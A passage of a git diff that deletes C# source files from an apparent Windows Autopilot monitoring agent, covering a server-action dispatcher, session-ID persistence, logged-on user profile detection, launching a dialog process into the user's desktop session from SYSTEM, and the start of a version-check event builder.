Idempotent per type: each handler tolerates repeated delivery (at-least-once channel). - /// - Unknown action types are logged as server_action_unknown and skipped — rolling out a new - /// type on the server must not break older agents. - /// - Every action emits two telemetry events: server_action_received on entry and either - /// server_action_executed or server_action_failed on exit, so operators can audit the - /// end-to-end lifecycle from backend App Insights → agent session events. - /// - All three concrete handlers are passed in as callbacks so the dispatcher itself does not - /// depend on the internal wiring of , , - /// or the orchestrator's shutdown sequence. - /// - public class ServerActionDispatcher - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly Func> _rotateConfigAsync; - private readonly Func> _uploadDiagnosticsAsync; - private readonly Func _onTerminateRequested; - private readonly Action _emitEvent; - - /// - /// Refetch remote config from the backend and apply to the agent's live state. - /// Return true on success, false on failure (the handler will emit the appropriate telemetry). - /// Typically wired to RemoteConfigService.FetchConfigAsync. - /// - /// - /// Trigger a diagnostics package upload with the given file-name suffix. Return the result - /// (success/failure, blob name, error code). Typically wired to - /// DiagnosticsPackageService.CreateAndUploadAsync. - /// - /// - /// Called for terminate_session actions. The dispatcher does NOT execute the shutdown - /// itself — shutdown requires coordinating timers, spool flush, and cleanup that lives in the - /// orchestrator. The callback is responsible for the actual termination sequence. - /// - public ServerActionDispatcher( - AgentConfiguration configuration, - AgentLogger logger, - Func> rotateConfigAsync, - Func> uploadDiagnosticsAsync, - Func onTerminateRequested, - Action emitEvent) - { - _configuration = configuration; - _logger = logger; - _rotateConfigAsync = rotateConfigAsync; - _uploadDiagnosticsAsync = uploadDiagnosticsAsync; - _onTerminateRequested = onTerminateRequested; - _emitEvent = emitEvent; - } - - /// - /// Routes a batch of actions to their handlers. Processes sequentially — ordering is defined - /// by the order actions were queued on the server. A failing handler does not abort the batch; - /// subsequent actions still run so a bad rotate_config doesn't block a terminate_session. - /// - public virtual async Task DispatchAsync(List actions) - { - if (actions == null || actions.Count == 0) - return; - - foreach (var action in actions) - { - if (action == null) continue; - - EmitReceived(action); - - try - { - switch (action.Type?.ToLowerInvariant()) - { - case ServerActionTypes.RotateConfig: - await HandleRotateConfigAsync(action); - break; - - case ServerActionTypes.RequestDiagnostics: - await HandleRequestDiagnosticsAsync(action); - break; - - case ServerActionTypes.TerminateSession: - if (_onTerminateRequested != null) - await _onTerminateRequested(action); - else - EmitFailed(action, "no_terminate_handler_wired"); - break; - - default: - _logger.Warning($"ServerActionDispatcher: unknown action type '{action.Type}' — skipping"); - EmitFailed(action, "unknown_action_type"); - break; - } - } - catch (Exception ex) - { - _logger.Error($"ServerActionDispatcher: handler for '{action.Type}' threw", ex); - EmitFailed(action, ex.GetType().Name + ": " + ex.Message); - } - } - } - - private async Task HandleRotateConfigAsync(ServerAction action) - { - if (_rotateConfigAsync == null) - { - EmitFailed(action, "no_rotate_config_handler"); - return; - } - - _logger.Info($"ServerAction rotate_config: refetching remote config (reason: {action.Reason})"); - var ok = await _rotateConfigAsync(); - if (ok) - EmitExecuted(action); - else - EmitFailed(action, "config_fetch_failed"); - } - - private async Task HandleRequestDiagnosticsAsync(ServerAction action) - { - if (_uploadDiagnosticsAsync == null) - { - EmitFailed(action, "no_diagnostics_handler"); - return; - } - - _logger.Info($"ServerAction request_diagnostics: initiating best-effort upload (reason: {action.Reason})"); - var result = await _uploadDiagnosticsAsync("server-requested"); - if (result != null && result.Success) - { - EmitExecuted(action, extraData: new Dictionary - { - { "blobName", result.BlobName ?? string.Empty } - }); - } - else - { - EmitFailed(action, result?.ErrorCode ?? "diagnostics_upload_failed"); - } - } - - // ---- Telemetry helpers ---- - - private void EmitReceived(ServerAction action) - { - _emitEvent?.Invoke(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "server_action_received", - Severity = EventSeverity.Info, - Source = "ServerActionDispatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"Received server action '{action.Type}'", - Timestamp = DateTime.UtcNow, - Data = BuildTelemetryData(action) - }); - } - - private void EmitExecuted(ServerAction action, Dictionary extraData = null) - { - var data = BuildTelemetryData(action); - if (extraData != null) - { - foreach (var kvp in extraData) - data[kvp.Key] = kvp.Value; - } - - _emitEvent?.Invoke(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "server_action_executed", - Severity = EventSeverity.Info, - Source = "ServerActionDispatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"Executed server action '{action.Type}'", - Timestamp = DateTime.UtcNow, - Data = data - }); - } - - private void EmitFailed(ServerAction action, string reason) - { - var data = BuildTelemetryData(action); - data["failureReason"] = reason ?? string.Empty; - - _emitEvent?.Invoke(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "server_action_failed", - Severity = EventSeverity.Warning, - Source = "ServerActionDispatcher", - Phase = EnrollmentPhase.Unknown, - Message = $"Failed to execute server action '{action.Type}': {reason}", - Timestamp = DateTime.UtcNow, - Data = data - }); - } - - private static Dictionary BuildTelemetryData(ServerAction action) - { - return new Dictionary - { - { "actionType", action?.Type ?? string.Empty }, - { "reason", action?.Reason ?? string.Empty }, - { "ruleId", action?.RuleId ?? string.Empty }, - { "queuedAt", action?.QueuedAt.ToString("O") ?? string.Empty } - }; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/SessionPersistence.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/SessionPersistence.cs deleted file mode 100644 index e855319b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/SessionPersistence.cs +++ /dev/null @@ -1,279 +0,0 @@ -using System; -using System.IO; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Manages persistent session ID storage to maintain tracking across agent restarts - /// - public class SessionPersistence - { - /// - /// Maximum age (hours) of a session.id file before the orphan guard treats it as - /// stale and discards it. Matches AgentConfiguration.AbsoluteMaxSessionHours. - /// A session.id younger than this whose session.created is missing is assumed to be - /// from the current enrollment (file lost during reboot/crash) and will be recovered. - /// - internal const double OrphanGuardMaxAgeHours = 48; - - private readonly string _sessionFilePath; - private readonly string _sequenceFilePath; - private readonly string _whiteGloveMarkerPath; - private readonly string _sessionCreatedPath; - private readonly object _lockObject = new object(); - - /// - /// Protected constructor for testability (Moq proxy creation). - /// - protected SessionPersistence() { } - - public SessionPersistence(string dataDirectory) - { - if (string.IsNullOrWhiteSpace(dataDirectory)) - { - throw new ArgumentNullException(nameof(dataDirectory)); - } - - if (!Directory.Exists(dataDirectory)) - { - Directory.CreateDirectory(dataDirectory); - } - - _sessionFilePath = Path.Combine(dataDirectory, "session.id"); - _sequenceFilePath = Path.Combine(dataDirectory, "session.seq"); - _whiteGloveMarkerPath = Path.Combine(dataDirectory, "whiteglove.complete"); - _sessionCreatedPath = Path.Combine(dataDirectory, "session.created"); - } - - /// - /// Loads existing session ID from disk or creates a new one if none exists - /// - /// Session ID (GUID string) - public string LoadOrCreateSessionId() - { - lock (_lockObject) - { - try - { - // Check if session file exists and is valid - if (File.Exists(_sessionFilePath)) - { - // Guard: if session.id exists but session.created does not, check - // whether this is an orphaned session from a previous enrollment - // (ProgramData survived OS reset/reinstall) or a current session - // whose session.created was lost during a reboot/crash. - // Distinguish by file age: recent session.id (< OrphanGuardMaxAgeHours) - // is likely from the current enrollment → recover by initializing - // session.created and resuming. Old session.id is a true orphan → discard. - if (!File.Exists(_sessionCreatedPath)) - { - var fileAge = DateTime.UtcNow - File.GetLastWriteTimeUtc(_sessionFilePath); - if (fileAge.TotalHours < OrphanGuardMaxAgeHours) - { - // Recent session — recover: initialize session.created and resume - var sessionId = File.ReadAllText(_sessionFilePath).Trim(); - if (Guid.TryParse(sessionId, out _)) - { - SaveSessionCreatedAt(DateTime.UtcNow); - return sessionId; - } - } - - // Old session or invalid GUID — true orphan, discard - try { File.Delete(_sessionFilePath); } catch { } - try { File.Delete(_sequenceFilePath); } catch { } - } - else - { - var sessionId = File.ReadAllText(_sessionFilePath).Trim(); - - // Validate it's a valid GUID format - if (Guid.TryParse(sessionId, out _)) - { - return sessionId; - } - } - } - - // Create new session ID if file doesn't exist or is invalid - var newSessionId = Guid.NewGuid().ToString(); - File.WriteAllText(_sessionFilePath, newSessionId); - SaveSessionCreatedAt(DateTime.UtcNow); - return newSessionId; - } - catch (Exception ex) - { - // If we can't read/write the session file, generate a new ID in memory - // Log this error if logger is available - throw new InvalidOperationException($"Failed to load or create session ID at {_sessionFilePath}", ex); - } - } - } - - /// - /// Deletes the persisted session ID file - /// This should be called when enrollment is complete - /// - public virtual void DeleteSession() - { - lock (_lockObject) - { - try - { - if (File.Exists(_sessionFilePath)) - File.Delete(_sessionFilePath); - if (File.Exists(_sequenceFilePath)) - File.Delete(_sequenceFilePath); - if (File.Exists(_whiteGloveMarkerPath)) - File.Delete(_whiteGloveMarkerPath); - if (File.Exists(_sessionCreatedPath)) - File.Delete(_sessionCreatedPath); - } - catch (Exception) - { - // Suppress deletion errors - not critical if cleanup fails - // The file will be overwritten on next start anyway - } - } - } - - /// - /// Checks if a persisted session ID exists - /// - /// True if session file exists - public bool SessionExists() - { - lock (_lockObject) - { - return File.Exists(_sessionFilePath); - } - } - - /// - /// Loads the persisted sequence counter. Returns 0 if no file exists or content is invalid. - /// - public long LoadSequence() - { - lock (_lockObject) - { - try - { - if (File.Exists(_sequenceFilePath)) - { - var content = File.ReadAllText(_sequenceFilePath).Trim(); - if (long.TryParse(content, out var sequence) && sequence >= 0) - return sequence; - } - } - catch { } - return 0; - } - } - - /// - /// Persists the current sequence counter to disk. - /// Called periodically and before graceful shutdown (WhiteGlove). - /// - public virtual void SaveSequence(long sequence) - { - lock (_lockObject) - { - try { File.WriteAllText(_sequenceFilePath, sequence.ToString()); } - catch { } // Non-fatal: worst case, next boot starts with a small gap - } - } - - /// - /// Deletes the persisted sequence file. - /// Called alongside DeleteSession when enrollment completes. - /// - public void DeleteSequence() - { - lock (_lockObject) - { - try { if (File.Exists(_sequenceFilePath)) File.Delete(_sequenceFilePath); } - catch { } - } - } - - /// - /// Persists a marker indicating WhiteGlove Part 1 completed. - /// On the next boot the agent reads this marker, emits a whiteglove_resumed - /// event, and clears it — giving the backend an explicit signal to transition - /// the session from Pending to InProgress for Part 2. - /// - public virtual void SaveWhiteGloveComplete() - { - lock (_lockObject) - { - try { File.WriteAllText(_whiteGloveMarkerPath, "1"); } - catch { } - } - } - - /// - /// Returns true if a WhiteGlove Part 1 marker exists, indicating this boot is Part 2. - /// - public bool IsWhiteGloveResume() - { - lock (_lockObject) - { - return File.Exists(_whiteGloveMarkerPath); - } - } - - /// - /// Persists the session creation timestamp (UTC). Called once when a new session is created. - /// - public void SaveSessionCreatedAt(DateTime utcTimestamp) - { - lock (_lockObject) - { - try { File.WriteAllText(_sessionCreatedPath, utcTimestamp.ToString("O")); } - catch { } - } - } - - /// - /// Loads the persisted session creation timestamp. Returns null if file is missing or invalid. - /// - public DateTime? LoadSessionCreatedAt() - { - lock (_lockObject) - { - try - { - if (File.Exists(_sessionCreatedPath)) - { - var content = File.ReadAllText(_sessionCreatedPath).Trim(); - if (DateTime.TryParse(content, null, System.Globalization.DateTimeStyles.RoundtripKind, out var dt)) - return dt.ToUniversalTime(); - } - } - catch { } - return null; - } - } - - /// - /// Resets the session creation timestamp to now (UTC). - /// Used on WhiteGlove Part 2 resume to give the user enrollment phase a fresh timer. - /// - public void ResetSessionCreatedAt() - { - SaveSessionCreatedAt(DateTime.UtcNow); - } - - /// - /// Removes the WhiteGlove marker after the whiteglove_resumed event has been emitted. - /// - public void ClearWhiteGloveComplete() - { - lock (_lockObject) - { - try { if (File.Exists(_whiteGloveMarkerPath)) File.Delete(_whiteGloveMarkerPath); } - catch { } - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserProfileResolver.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserProfileResolver.cs deleted file mode 100644 index 62904631..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserProfileResolver.cs +++ /dev/null @@ -1,193 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Management; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Resolves the custom %LOGGED_ON_USER_PROFILE% token to the logged-on user's profile path. - /// - /// The agent runs as SYSTEM, so standard environment variables like %USERPROFILE% or - /// %LOCALAPPDATA% resolve to the SYSTEM profile — not the logged-on user. This class - /// detects the real user via explorer.exe ownership (WMI) and caches the result for - /// the agent's lifetime. - /// - /// Usage in paths: %LOGGED_ON_USER_PROFILE%\AppData\Local\RealmJoin\Logs\*.log - /// - public static class UserProfileResolver - { - public const string Token = "%LOGGED_ON_USER_PROFILE%"; - - private static readonly object Lock = new object(); - private static bool _resolved; - private static string _userProfilePath; // e.g. C:\Users\JohnDoe — null if no user detected - - /// - /// Returns the logged-on user's profile path (e.g. C:\Users\JohnDoe) or null - /// if no interactive user session has been detected yet. - /// Result is cached after first successful detection. - /// - public static string GetLoggedOnUserProfilePath() - { - if (_resolved) - return _userProfilePath; - - lock (Lock) - { - if (_resolved) - return _userProfilePath; - - _userProfilePath = DetectLoggedOnUserProfile(); - _resolved = true; - return _userProfilePath; - } - } - - /// - /// Expands the custom %LOGGED_ON_USER_PROFILE% token, then delegates to - /// Environment.ExpandEnvironmentVariables for standard tokens. - /// Returns null if the path contains the token but no user is logged on. - /// - public static string ExpandCustomTokens(string rawPath) - { - if (string.IsNullOrEmpty(rawPath)) - return rawPath; - - if (rawPath.IndexOf(Token, StringComparison.OrdinalIgnoreCase) >= 0) - { - var profilePath = GetLoggedOnUserProfilePath(); - if (profilePath == null) - return null; // No user detected — caller should skip this path - - rawPath = ReplaceCaseInsensitive(rawPath, Token, profilePath); - } - - return Environment.ExpandEnvironmentVariables(rawPath); - } - - /// - /// Returns true if the raw (unexpanded) path contains the custom user profile token. - /// - public static bool ContainsUserProfileToken(string rawPath) - { - return !string.IsNullOrEmpty(rawPath) && - rawPath.IndexOf(Token, StringComparison.OrdinalIgnoreCase) >= 0; - } - - /// - /// Resets the cached state. Only used for testing. - /// - internal static void Reset() - { - lock (Lock) - { - _resolved = false; - _userProfilePath = null; - } - } - - /// - /// Allows tests to inject a specific profile path without WMI. - /// - internal static void SetForTesting(string profilePath) - { - lock (Lock) - { - _userProfilePath = profilePath; - _resolved = true; - } - } - - private static string DetectLoggedOnUserProfile() - { - try - { - var explorerProcesses = Process.GetProcessesByName("explorer"); - foreach (var proc in explorerProcesses) - { - try - { - // Session 0 = SYSTEM session, skip - if (proc.SessionId == 0) - continue; - - var userName = GetProcessOwnerUserName(proc.Id); - if (userName == null) - continue; - - if (DesktopArrivalDetector.IsExcludedUser(userName)) - continue; - - // Extract just the username part (after backslash if DOMAIN\User) - var backslashIndex = userName.LastIndexOf('\\'); - if (backslashIndex >= 0 && backslashIndex < userName.Length - 1) - userName = userName.Substring(backslashIndex + 1); - - var profilePath = Path.Combine(@"C:\Users", userName); - if (Directory.Exists(profilePath)) - return profilePath; - } - catch - { - // Continue checking other explorer instances - } - finally - { - proc.Dispose(); - } - } - } - catch - { - // WMI or process enumeration failure — no user detected - } - - return null; - } - - /// - /// Gets the owner of a process using WMI (Win32_Process.GetOwner). - /// Returns "DOMAIN\User" or "User" string, or null on failure. - /// - private static string GetProcessOwnerUserName(int processId) - { - try - { - using (var searcher = new ManagementObjectSearcher( - $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var outParams = new object[2]; - var result = (uint)obj.InvokeMethod("GetOwner", outParams); - if (result == 0) - { - var user = outParams[0]?.ToString(); - var domain = outParams[1]?.ToString(); - return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}"; - } - } - } - } - catch - { - // WMI failure — return null - } - - return null; - } - - private static string ReplaceCaseInsensitive(string source, string oldValue, string newValue) - { - var index = source.IndexOf(oldValue, StringComparison.OrdinalIgnoreCase); - if (index < 0) return source; - return source.Substring(0, index) + newValue + source.Substring(index + oldValue.Length); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserSessionProcessLauncher.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserSessionProcessLauncher.cs deleted file mode 100644 index e97fd0eb..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/UserSessionProcessLauncher.cs +++ /dev/null @@ -1,370 +0,0 @@ -using System; -using System.Diagnostics; -using System.Management; -using System.Runtime.InteropServices; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Interop; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Launches a process in the logged-in user's desktop session from a SYSTEM context. - /// Uses WTSQueryUserToken + DuplicateTokenEx + SetTokenInformation(TokenSessionId) - /// to create a session-stamped token, then CreateProcessAsUser to launch in the - /// correct interactive session (not Session 0). - /// - internal static class UserSessionProcessLauncher - { - /// - /// System/service account names that should NOT be considered real users. - /// - private static readonly string[] ExcludedUserNames = - { - "SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE", - "DefaultUser0", "DefaultUser1", "DefaultUser2", - "defaultuser0", "defaultuser1", "defaultuser2" - }; - - /// - /// Launches the specified executable in the logged-in user's desktop session. - /// Returns true if the process was launched successfully, false otherwise. - /// This is fire-and-forget — the caller does not wait for the process to exit. - /// If the process fails with 0x8007045A (DLL init failed), retries for up to maxRetrySeconds. - /// - public static bool LaunchInUserSession(string exePath, string arguments, AgentLogger logger, int maxRetrySeconds = 120) - { - IntPtr userToken = IntPtr.Zero; - IntPtr dupToken = IntPtr.Zero; - IntPtr environment = IntPtr.Zero; - - try - { - // Find explorer.exe in a non-zero session owned by a real user. - var explorerProcess = FindExplorerProcess(logger); - if (explorerProcess == null) - { - logger.Warning("UserSessionProcessLauncher: No explorer.exe found in user session — cannot launch dialog"); - return false; - } - - uint sessionId; - using (explorerProcess) - { - sessionId = (uint)explorerProcess.SessionId; - logger.Info($"UserSessionProcessLauncher: Found explorer.exe PID {explorerProcess.Id} in session {sessionId}"); - } - - // Get the interactive session token via WTS. - if (!ProcessNativeMethods.WTSQueryUserToken(sessionId, out userToken)) - { - var error = Marshal.GetLastWin32Error(); - logger.Warning($"UserSessionProcessLauncher: WTSQueryUserToken failed for session {sessionId} (error {error})"); - return false; - } - - // Duplicate token and stamp the target session ID. - // WTSQueryUserToken gives us the user's identity, but CreateProcessAsUser - // needs TokenSessionId explicitly set to avoid Session 0 placement - // (the calling service runs in Session 0; without stamping, the child - // process inherits Session 0 even though the token belongs to the user). - if (!ProcessNativeMethods.DuplicateTokenEx(userToken, ProcessNativeMethods.MAXIMUM_ALLOWED, IntPtr.Zero, - ProcessNativeMethods.SECURITY_IMPERSONATION, ProcessNativeMethods.TOKEN_PRIMARY, out dupToken)) - { - logger.Warning($"UserSessionProcessLauncher: DuplicateTokenEx failed (error {Marshal.GetLastWin32Error()})"); - return false; - } - - if (!ProcessNativeMethods.SetTokenInformation(dupToken, ProcessNativeMethods.TokenSessionId, - ref sessionId, (uint)Marshal.SizeOf(typeof(uint)))) - { - logger.Warning($"UserSessionProcessLauncher: SetTokenInformation(SessionId={sessionId}) failed (error {Marshal.GetLastWin32Error()})"); - return false; - } - - logger.Info($"UserSessionProcessLauncher: Token duplicated and stamped to session {sessionId}"); - - // Create an environment block for the user (using session-stamped token) - if (!ProcessNativeMethods.CreateEnvironmentBlock(out environment, dupToken, false)) - { - logger.Warning($"UserSessionProcessLauncher: CreateEnvironmentBlock failed (error {Marshal.GetLastWin32Error()})"); - environment = IntPtr.Zero; - } - - // Set up startup info — empty lpDesktop lets Windows select the correct - // desktop for the session-stamped token. - var si = new ProcessNativeMethods.STARTUPINFO(); - si.cb = Marshal.SizeOf(si); - si.lpDesktop = ""; - si.dwFlags = ProcessNativeMethods.STARTF_USESHOWWINDOW | ProcessNativeMethods.STARTF_FORCEONFEEDBACK; - si.wShowWindow = ProcessNativeMethods.SW_SHOW; - - uint creationFlags = 0; - if (environment != IntPtr.Zero) - creationFlags |= ProcessNativeMethods.CREATE_UNICODE_ENVIRONMENT; - - var commandLine = $"\"{exePath}\" {arguments}"; - var workingDirectory = System.IO.Path.GetDirectoryName(exePath); - - // Retry loop with integrated CXH monitoring. - // See WaitForCxhOrSleep for the CXH wake-up strategy. - const int retryIntervalSeconds = 10; - const string defaultDesktop = ""; - const string explicitDesktop = "WinSta0\\Default"; - const int defaultDesktopOnlyAttempts = 3; - var retryStopwatch = System.Diagnostics.Stopwatch.StartNew(); - int attempt = 0; - - // One-time CXH lookup — track for the lifetime of the retry loop - Process cxhProcess = null; - if (maxRetrySeconds > 0) - { - try - { - cxhProcess = FindProcessInSession("CloudExperienceHost", sessionId); - if (cxhProcess != null) - logger.Info($"UserSessionProcessLauncher: CloudExperienceHost PID {cxhProcess.Id} running " + - $"in session {sessionId} — will monitor for exit during retries"); - } - catch { } - } - - try - { - while (true) - { - attempt++; - - // First N attempts use default desktop (""), then alternate with explicit desktop. - // Default works ~90% of the time; explicit fallback catches post-Hello desktop issues. - bool useExplicitDesktop = (attempt > defaultDesktopOnlyAttempts) && (attempt % 2 == 0); - si.lpDesktop = useExplicitDesktop ? explicitDesktop : defaultDesktop; - - // CreateProcessAsUser with session-stamped token. - // The duplicated token has TokenSessionId set to the user's session, - // ensuring the process lands on the interactive desktop (not Session 0). - bool created; - ProcessNativeMethods.PROCESS_INFORMATION pi; - - var procSa = new ProcessNativeMethods.SECURITY_ATTRIBUTES(); - procSa.nLength = Marshal.SizeOf(procSa); - var threadSa = new ProcessNativeMethods.SECURITY_ATTRIBUTES(); - threadSa.nLength = Marshal.SizeOf(threadSa); - - created = ProcessNativeMethods.CreateProcessAsUser( - dupToken, null, commandLine, - ref procSa, ref threadSa, false, - creationFlags, environment, workingDirectory, - ref si, out pi); - - if (!created) - { - logger.Warning($"UserSessionProcessLauncher: CreateProcessAsUser failed (error {Marshal.GetLastWin32Error()})"); - return false; - } - - ProcessNativeMethods.CloseHandle(pi.hThread); - logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — created PID {pi.dwProcessId}" + - $" [{(useExplicitDesktop ? "explicit" : "default")} desktop], verifying startup..."); - - // Wait 3s to verify the process survives DLL init + CLR bootstrap. - var waitResult = ProcessNativeMethods.WaitForSingleObject(pi.hProcess, 3000); - if (waitResult == ProcessNativeMethods.WAIT_TIMEOUT) - { - // Process is still running after 3s — success - ProcessNativeMethods.CloseHandle(pi.hProcess); - logger.Info($"UserSessionProcessLauncher: Successfully launched PID {pi.dwProcessId} in user session" + - $" [{(useExplicitDesktop ? "explicit" : "default")} desktop]" + - (attempt > 1 ? $" (after {attempt} attempts, {retryStopwatch.Elapsed.TotalSeconds:F0}s)" : "")); - return true; - } - - // Process exited within 3s — check why - ProcessNativeMethods.GetExitCodeProcess(pi.hProcess, out var exitCode); - ProcessNativeMethods.CloseHandle(pi.hProcess); - - // 0x8007045A = ERROR_DLL_INIT_FAILED — profile or desktop issue. - // Retry until the desktop becomes accessible or we exceed the retry window. - if (exitCode == 0x8007045A && retryStopwatch.Elapsed.TotalSeconds < maxRetrySeconds) - { - // If CXH is tracked and still running, wait for its exit instead of blind sleep. - // On 24H2+/≤22H2: CXH exits → we wake up instantly. - // On 23H2: CXH never exits → WaitForExit times out → same as regular retry interval. - if (cxhProcess != null) - { - logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — 0x8007045A, waiting for CXH exit (up to {retryIntervalSeconds}s)..."); - if (cxhProcess.WaitForExit(retryIntervalSeconds * 1000)) - { - logger.Info("UserSessionProcessLauncher: CloudExperienceHost exited — desktop should be available"); - cxhProcess.Dispose(); - cxhProcess = null; - System.Threading.Thread.Sleep(500); // brief delay for desktop init - } - } - else - { - logger.Info($"UserSessionProcessLauncher: Attempt {attempt} — 0x8007045A (desktop locked?) — retrying in {retryIntervalSeconds}s..."); - System.Threading.Thread.Sleep(retryIntervalSeconds * 1000); - } - continue; - } - - // Non-retryable error, or retry timeout exceeded - logger.Warning($"UserSessionProcessLauncher: Process PID {pi.dwProcessId} exited within 3s — " + - $"exit code 0x{exitCode:X8}" + - $" [{(useExplicitDesktop ? "explicit" : "default")} desktop]" + - (attempt > 1 ? $" (gave up after {attempt} attempts, {retryStopwatch.Elapsed.TotalSeconds:F0}s)" : "")); - return false; - } - } - finally - { - cxhProcess?.Dispose(); - } - } - catch (Exception ex) - { - logger.Warning($"UserSessionProcessLauncher: Exception: {ex.Message}"); - return false; - } - finally - { - if (environment != IntPtr.Zero) - ProcessNativeMethods.DestroyEnvironmentBlock(environment); - if (dupToken != IntPtr.Zero) - ProcessNativeMethods.CloseHandle(dupToken); - if (userToken != IntPtr.Zero) - ProcessNativeMethods.CloseHandle(userToken); - } - } - - /// - /// Finds a process by name running in a specific session. - /// Returns the first matching Process handle, or null if none found. - /// - private static Process FindProcessInSession(string processName, uint sessionId) - { - try - { - var processes = Process.GetProcessesByName(processName); - foreach (var proc in processes) - { - try - { - if ((uint)proc.SessionId == sessionId) - { - foreach (var other in processes) - { - if (other.Id != proc.Id) - try { other.Dispose(); } catch { } - } - return proc; - } - proc.Dispose(); - } - catch - { - proc.Dispose(); - } - } - } - catch { } - return null; - } - - /// - /// Finds an explorer.exe process running in a non-SYSTEM user session. - /// Returns the Process handle, or null if none found. - /// - private static Process FindExplorerProcess(AgentLogger logger) - { - try - { - var explorerProcesses = Process.GetProcessesByName("explorer"); - foreach (var proc in explorerProcesses) - { - try - { - if (proc.SessionId == 0) - { - proc.Dispose(); - continue; - } - - var owner = GetProcessOwner(proc.Id); - if (owner == null || IsExcludedUser(owner)) - { - proc.Dispose(); - continue; - } - - foreach (var other in explorerProcesses) - { - if (other.Id != proc.Id) - { - try { other.Dispose(); } catch { } - } - } - return proc; - } - catch - { - proc.Dispose(); - } - } - } - catch (Exception ex) - { - logger.Debug($"UserSessionProcessLauncher: Error finding explorer.exe: {ex.Message}"); - } - - return null; - } - - private static string GetProcessOwner(int processId) - { - try - { - using (var searcher = new ManagementObjectSearcher( - $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var outParams = new object[2]; - var result = (uint)obj.InvokeMethod("GetOwner", outParams); - if (result == 0) - { - var user = outParams[0]?.ToString(); - var domain = outParams[1]?.ToString(); - return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}"; - } - } - } - } - catch { } - return null; - } - - private static bool IsExcludedUser(string fullUserName) - { - if (string.IsNullOrEmpty(fullUserName)) - return true; - - var userName = fullUserName; - var backslashIndex = fullUserName.LastIndexOf('\\'); - if (backslashIndex >= 0 && backslashIndex < fullUserName.Length - 1) - userName = fullUserName.Substring(backslashIndex + 1); - - foreach (var excluded in ExcludedUserNames) - { - if (string.Equals(userName, excluded, StringComparison.OrdinalIgnoreCase)) - return true; - } - - if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase)) - return true; - - return false; - } - - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/VersionCheckEventBuilder.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/VersionCheckEventBuilder.cs deleted file mode 100644 index cfed87d0..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/VersionCheckEventBuilder.cs +++ /dev/null @@ -1,351 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json.Linq; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Consumes the three self-update marker files written by SelfUpdater on every agent startup - /// (updated / skipped / checked) and converts them into a single agent_version_check - /// event with an outcome discriminator. Applies session-scoped dedup for the - /// up_to_date outcome so repeated reboots in the same session don't spam the timeline. - /// - /// All filesystem paths are injectable so this can be exercised in unit tests without touching - /// %ProgramData%. - /// - public static class VersionCheckEventBuilder - { - public sealed class Paths - { - public string UpdatedMarker { get; set; } - public string SkippedMarker { get; set; } - public string CheckedMarker { get; set; } - public string LastEmit { get; set; } - - public static Paths Default() => new Paths - { - UpdatedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateMarkerFile), - SkippedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateSkippedMarkerFile), - CheckedMarker = Environment.ExpandEnvironmentVariables(Constants.SelfUpdateCheckedMarkerFile), - LastEmit = Environment.ExpandEnvironmentVariables(Constants.LastVersionCheckEmitFile) - }; - } - - public sealed class BuildResult - { - /// Event to emit; null when nothing to report (no marker) or when deduped. - public EnrollmentEvent Event { get; set; } - - /// True when a marker was read but the event was suppressed by dedup. - public bool Deduped { get; set; } - - /// Outcome that was detected (even if deduped), for logging. Null when no marker. - public string Outcome { get; set; } - - /// Human-readable message for warning logs when a marker file was malformed. - public string ParseError { get; set; } - } - - /// - /// Reads available markers, applies dedup, updates the last-emit file and deletes consumed markers. - /// Returns the event to emit (or null). Never throws — errors are returned via ParseError. - /// - /// Priority: Updated > Skipped > Checked. If more than one marker exists (rare — stale files - /// from a crashed run), the highest-priority one wins and the others are deleted defensively. - /// - public static BuildResult TryBuild( - string sessionId, - string tenantId, - DateTime 